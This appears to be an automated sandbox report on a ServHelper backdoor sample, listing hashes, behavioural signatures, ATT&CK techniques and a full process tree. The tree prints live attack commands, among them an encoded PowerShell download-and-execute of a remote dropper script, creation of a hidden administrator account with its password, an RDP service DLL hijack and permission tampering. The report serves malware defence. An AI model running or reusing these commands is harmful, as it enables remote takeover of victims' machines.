servhelper | f18e085889d9d7324c57ecb800563ba2e808c0ef8ad52b7b1f1f3afa169bf836

Analysis

max time kernel
146s
max time network
104s
platform
windows7_x64
resource
win7v20210410
submitted
11-06-2021 14:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7a383f57f7d2190d9af3e57d67cfb004.exe
Size

6.9MB
MD5

7a383f57f7d2190d9af3e57d67cfb004
SHA1

2e783c279542ea1708854413a0cd725184f8fa78
SHA256

f18e085889d9d7324c57ecb800563ba2e808c0ef8ad52b7b1f1f3afa169bf836
SHA512

0f2509170c215efd58a09b4a00d593f087773da93f1877aab9b9f24474b06ad62494fa730fc435829a0365d7bd3d7440818a99e1b4c866882a0ed1cdc3eec9cb

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	1360	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
1704	Vostra.exe.com
1220	Vostra.exe.com
1764	Vostra.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1660	icacls.exe
828	icacls.exe
1728	icacls.exe
1812	icacls.exe
1916	icacls.exe
1596	takeown.exe
1676	icacls.exe
1700	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130ea-203.dat	upx
behavioral1/files/0x00050000000130eb-204.dat	upx

Deletes itself 1 IoCs

pid	Process
1508	powershell.exe

Loads dropped DLL 5 IoCs

pid	Process
1736	cmd.exe
1704	Vostra.exe.com
1220	Vostra.exe.com
1768	Process not Found
1768	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1700	icacls.exe
1660	icacls.exe
828	icacls.exe
1728	icacls.exe
1812	icacls.exe
1916	icacls.exe
1596	takeown.exe
1676	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1220 set thread context of 1764	1220	Vostra.exe.com	36

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_625c9dd4-60ac-4598-980f-1e4f22bb4f36	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_739b533d-c9a7-4c5c-90d0-d37ca25e9a24	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_27788a7e-a051-4489-abf0-08bbf436eeac	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_70f6e14a-838c-4011-8c18-6dca5b41af74	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b9e343f0-1231-4701-8996-2b248fba56a5	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_70c669dd-d9b5-47eb-94c2-fb54f9c3d57c	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1dc44e94-9820-4f62-ba03-a4dc86b31e84	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9b60f9b2-73ac-401a-be65-1834fdde3fc6	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7T4PUW7V8KKE0F12P1S5.temp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_58b4ffb8-48b6-46b3-b91a-753e7108a731	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f50b6714-9132-4aea-81ce-b6272406dffe	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4bb5c35f-1c0d-42fa-b0fc-9f3d92535c04	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 80520d9fd15ed701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2020	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1772	PING.EXE

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1508	powershell.exe
1508	powershell.exe
532	powershell.exe
532	powershell.exe
1984	powershell.exe
1984	powershell.exe
1096	powershell.exe
1096	powershell.exe
1508	powershell.exe
1508	powershell.exe
1508	powershell.exe
1360	powershell.exe
1360	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
464	Process not Found
1768	Process not Found
1768	Process not Found
1768	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeRestorePrivilege	1700	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1500	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1500	WMIC.exe
Token: SeAuditPrivilege	1500	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1500	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1500	WMIC.exe
Token: SeAuditPrivilege	1500	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1424	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1424	WMIC.exe
Token: SeAuditPrivilege	1424	WMIC.exe
Token: SeDebugPrivilege	1360	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 484 wrote to memory of 1904	484	7a383f57f7d2190d9af3e57d67cfb004.exe	26
PID 484 wrote to memory of 1904	484	7a383f57f7d2190d9af3e57d67cfb004.exe	26
PID 484 wrote to memory of 1904	484	7a383f57f7d2190d9af3e57d67cfb004.exe	26
PID 484 wrote to memory of 1904	484	7a383f57f7d2190d9af3e57d67cfb004.exe	26
PID 1904 wrote to memory of 1736	1904	cmd.exe	28
PID 1904 wrote to memory of 1736	1904	cmd.exe	28
PID 1904 wrote to memory of 1736	1904	cmd.exe	28
PID 1904 wrote to memory of 1736	1904	cmd.exe	28
PID 1736 wrote to memory of 1800	1736	cmd.exe	29
PID 1736 wrote to memory of 1800	1736	cmd.exe	29
PID 1736 wrote to memory of 1800	1736	cmd.exe	29
PID 1736 wrote to memory of 1800	1736	cmd.exe	29
PID 1736 wrote to memory of 1704	1736	cmd.exe	30
PID 1736 wrote to memory of 1704	1736	cmd.exe	30
PID 1736 wrote to memory of 1704	1736	cmd.exe	30
PID 1736 wrote to memory of 1704	1736	cmd.exe	30
PID 1736 wrote to memory of 1772	1736	cmd.exe	31
PID 1736 wrote to memory of 1772	1736	cmd.exe	31
PID 1736 wrote to memory of 1772	1736	cmd.exe	31
PID 1736 wrote to memory of 1772	1736	cmd.exe	31
PID 1704 wrote to memory of 1220	1704	Vostra.exe.com	32
PID 1704 wrote to memory of 1220	1704	Vostra.exe.com	32
PID 1704 wrote to memory of 1220	1704	Vostra.exe.com	32
PID 1220 wrote to memory of 1764	1220	Vostra.exe.com	36
PID 1220 wrote to memory of 1764	1220	Vostra.exe.com	36
PID 1220 wrote to memory of 1764	1220	Vostra.exe.com	36
PID 1220 wrote to memory of 1764	1220	Vostra.exe.com	36
PID 1220 wrote to memory of 1764	1220	Vostra.exe.com	36
PID 1764 wrote to memory of 1508	1764	Vostra.exe.com	37
PID 1764 wrote to memory of 1508	1764	Vostra.exe.com	37
PID 1764 wrote to memory of 1508	1764	Vostra.exe.com	37
PID 1508 wrote to memory of 1676	1508	powershell.exe	39
PID 1508 wrote to memory of 1676	1508	powershell.exe	39
PID 1508 wrote to memory of 1676	1508	powershell.exe	39
PID 1676 wrote to memory of 1600	1676	csc.exe	40
PID 1676 wrote to memory of 1600	1676	csc.exe	40
PID 1676 wrote to memory of 1600	1676	csc.exe	40
PID 1508 wrote to memory of 532	1508	powershell.exe	41
PID 1508 wrote to memory of 532	1508	powershell.exe	41
PID 1508 wrote to memory of 532	1508	powershell.exe	41
PID 1508 wrote to memory of 1984	1508	powershell.exe	43
PID 1508 wrote to memory of 1984	1508	powershell.exe	43
PID 1508 wrote to memory of 1984	1508	powershell.exe	43
PID 1508 wrote to memory of 1096	1508	powershell.exe	45
PID 1508 wrote to memory of 1096	1508	powershell.exe	45
PID 1508 wrote to memory of 1096	1508	powershell.exe	45
PID 1508 wrote to memory of 1596	1508	powershell.exe	48
PID 1508 wrote to memory of 1596	1508	powershell.exe	48
PID 1508 wrote to memory of 1596	1508	powershell.exe	48
PID 1508 wrote to memory of 1676	1508	powershell.exe	49
PID 1508 wrote to memory of 1676	1508	powershell.exe	49
PID 1508 wrote to memory of 1676	1508	powershell.exe	49
PID 1508 wrote to memory of 1700	1508	powershell.exe	50
PID 1508 wrote to memory of 1700	1508	powershell.exe	50
PID 1508 wrote to memory of 1700	1508	powershell.exe	50
PID 1508 wrote to memory of 1660	1508	powershell.exe	51
PID 1508 wrote to memory of 1660	1508	powershell.exe	51
PID 1508 wrote to memory of 1660	1508	powershell.exe	51
PID 1508 wrote to memory of 828	1508	powershell.exe	52
PID 1508 wrote to memory of 828	1508	powershell.exe	52
PID 1508 wrote to memory of 828	1508	powershell.exe	52
PID 1508 wrote to memory of 1728	1508	powershell.exe	53
PID 1508 wrote to memory of 1728	1508	powershell.exe	53
PID 1508 wrote to memory of 1728	1508	powershell.exe	53

C:\Users\Admin\AppData\Local\Temp\7a383f57f7d2190d9af3e57d67cfb004.exe
"C:\Users\Admin\AppData\Local\Temp\7a383f57f7d2190d9af3e57d67cfb004.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:484
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\cmd < Poi.vsd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1904
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1736
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^nZwSZJdQSZwKBWJCtpbfZHNwzsXALugVPsbikcLGmlTQMSJGkUUtRoHQkZmHLQyLLuVpnCdInRQPNWfBIsgQkprGKGWkWrUJtiyFXmiJDkGqaSrgKXZxBgABegmS$" Che.vsd
      4⤵
      PID:1800
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Vostra.exe.com
      Vostra.exe.com D
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1704
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Vostra.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Vostra.exe.com D
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1220
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Vostra.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Vostra.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in System32 directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1508
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnncfw0x\hnncfw0x.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1676
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEDA9.tmp" "c:\Users\Admin\AppData\Local\Temp\hnncfw0x\CSCA435DBAC26B046208D6671EC3A794BEB.TMP"
        9⤵
        
        PID:1600
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1096
        
        C:\Windows\system32\takeown.exe
        
        "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1596
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1676
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        Suspicious use of AdjustPrivilegeToken
        
        PID:1700
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1660
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:828
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1728
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1812
        
        C:\Windows\system32\icacls.exe
        
        "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
        8⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1916
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1500
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:2020
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:1232
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        
        PID:360
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:1328
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        
        PID:984
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        
        PID:1856
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        
        PID:968
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:1072
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        
        PID:524
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        
        PID:1460
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        
        PID:1368
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:1668
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:1536
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:1060
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:1772

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1596
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1004
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:964

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cmhfcwJT /add
1⤵
PID:1308
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cmhfcwJT /add
  2⤵
  PID:1360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cmhfcwJT /add
    3⤵
    PID:1552

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1692
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1232
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1840

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1424
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:984

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:2040
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:1736
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:296

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc cmhfcwJT
1⤵
PID:828
- C:\Windows\system32\net.exe
  net.exe user wgautilacc cmhfcwJT
  2⤵
  PID:1688
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc cmhfcwJT
    3⤵
    PID:1908

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:592
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1500

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1996
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1424

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1700
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1548
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/484-59-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/532-129-0x000000001BB60000-0x000000001BB61000-memory.dmp

Filesize
4KB

Download
memory/532-116-0x000000001AB20000-0x000000001AB22000-memory.dmp

Filesize
8KB

Download
memory/532-143-0x000000001BC40000-0x000000001BC41000-memory.dmp

Filesize
4KB

Download
memory/532-142-0x000000001BC30000-0x000000001BC31000-memory.dmp

Filesize
4KB

Download
memory/532-123-0x0000000002370000-0x0000000002371000-memory.dmp

Filesize
4KB

Download
memory/532-122-0x000000001B5C0000-0x000000001B5C1000-memory.dmp

Filesize
4KB

Download
memory/532-120-0x000000001B670000-0x000000001B671000-memory.dmp

Filesize
4KB

Download
memory/532-118-0x000000001A8D0000-0x000000001A8D1000-memory.dmp

Filesize
4KB

Download
memory/532-117-0x000000001AB24000-0x000000001AB26000-memory.dmp

Filesize
8KB

Download
memory/1096-177-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

Filesize
8KB

Download
memory/1096-178-0x000000001ACA4000-0x000000001ACA6000-memory.dmp

Filesize
8KB

Download
memory/1220-78-0x0000000000510000-0x0000000000511000-memory.dmp

Filesize
4KB

Download
memory/1360-223-0x0000000019510000-0x0000000019512000-memory.dmp

Filesize
8KB

Download
memory/1360-224-0x0000000019514000-0x0000000019516000-memory.dmp

Filesize
8KB

Download
memory/1360-225-0x000000001951A000-0x0000000019539000-memory.dmp

Filesize
124KB

Download
memory/1508-94-0x00000000028C0000-0x00000000028C1000-memory.dmp

Filesize
4KB

Download
memory/1508-105-0x0000000001DC0000-0x0000000001DC1000-memory.dmp

Filesize
4KB

Download
memory/1508-93-0x0000000002344000-0x0000000002346000-memory.dmp

Filesize
8KB

Download
memory/1508-180-0x000000001C640000-0x000000001C641000-memory.dmp

Filesize
4KB

Download
memory/1508-92-0x0000000002340000-0x0000000002342000-memory.dmp

Filesize
8KB

Download
memory/1508-95-0x000000001A990000-0x000000001A991000-memory.dmp

Filesize
4KB

Download
memory/1508-97-0x000000001B680000-0x000000001B681000-memory.dmp

Filesize
4KB

Download
memory/1508-91-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

Filesize
4KB

Download
memory/1508-107-0x000000001C3F0000-0x000000001C3F1000-memory.dmp

Filesize
4KB

Download
memory/1508-108-0x000000001C470000-0x000000001C471000-memory.dmp

Filesize
4KB

Download
memory/1508-109-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

Filesize
4KB

Download
memory/1508-124-0x000000000234A000-0x0000000002369000-memory.dmp

Filesize
124KB

Download
memory/1508-90-0x0000000002300000-0x0000000002301000-memory.dmp

Filesize
4KB

Download
memory/1704-69-0x000007FEFBC81000-0x000007FEFBC83000-memory.dmp

Filesize
8KB

Download
memory/1764-84-0x0000000042272000-0x0000000042274000-memory.dmp

Filesize
8KB

Download
memory/1764-81-0x0000000000510000-0x0000000000B66000-memory.dmp

Filesize
6.3MB

Download
memory/1764-87-0x0000000042277000-0x0000000042278000-memory.dmp

Filesize
4KB

Download
memory/1764-85-0x0000000042274000-0x0000000042276000-memory.dmp

Filesize
8KB

Download
memory/1764-86-0x0000000042276000-0x0000000042277000-memory.dmp

Filesize
4KB

Download
memory/1764-79-0x0000000000510000-0x0000000000B66000-memory.dmp

Filesize
6.3MB

Download
memory/1764-82-0x0000000042720000-0x0000000042B41000-memory.dmp

Filesize
4.1MB

Download
memory/1984-150-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1984-156-0x000000001B5C0000-0x000000001B5C1000-memory.dmp

Filesize
4KB

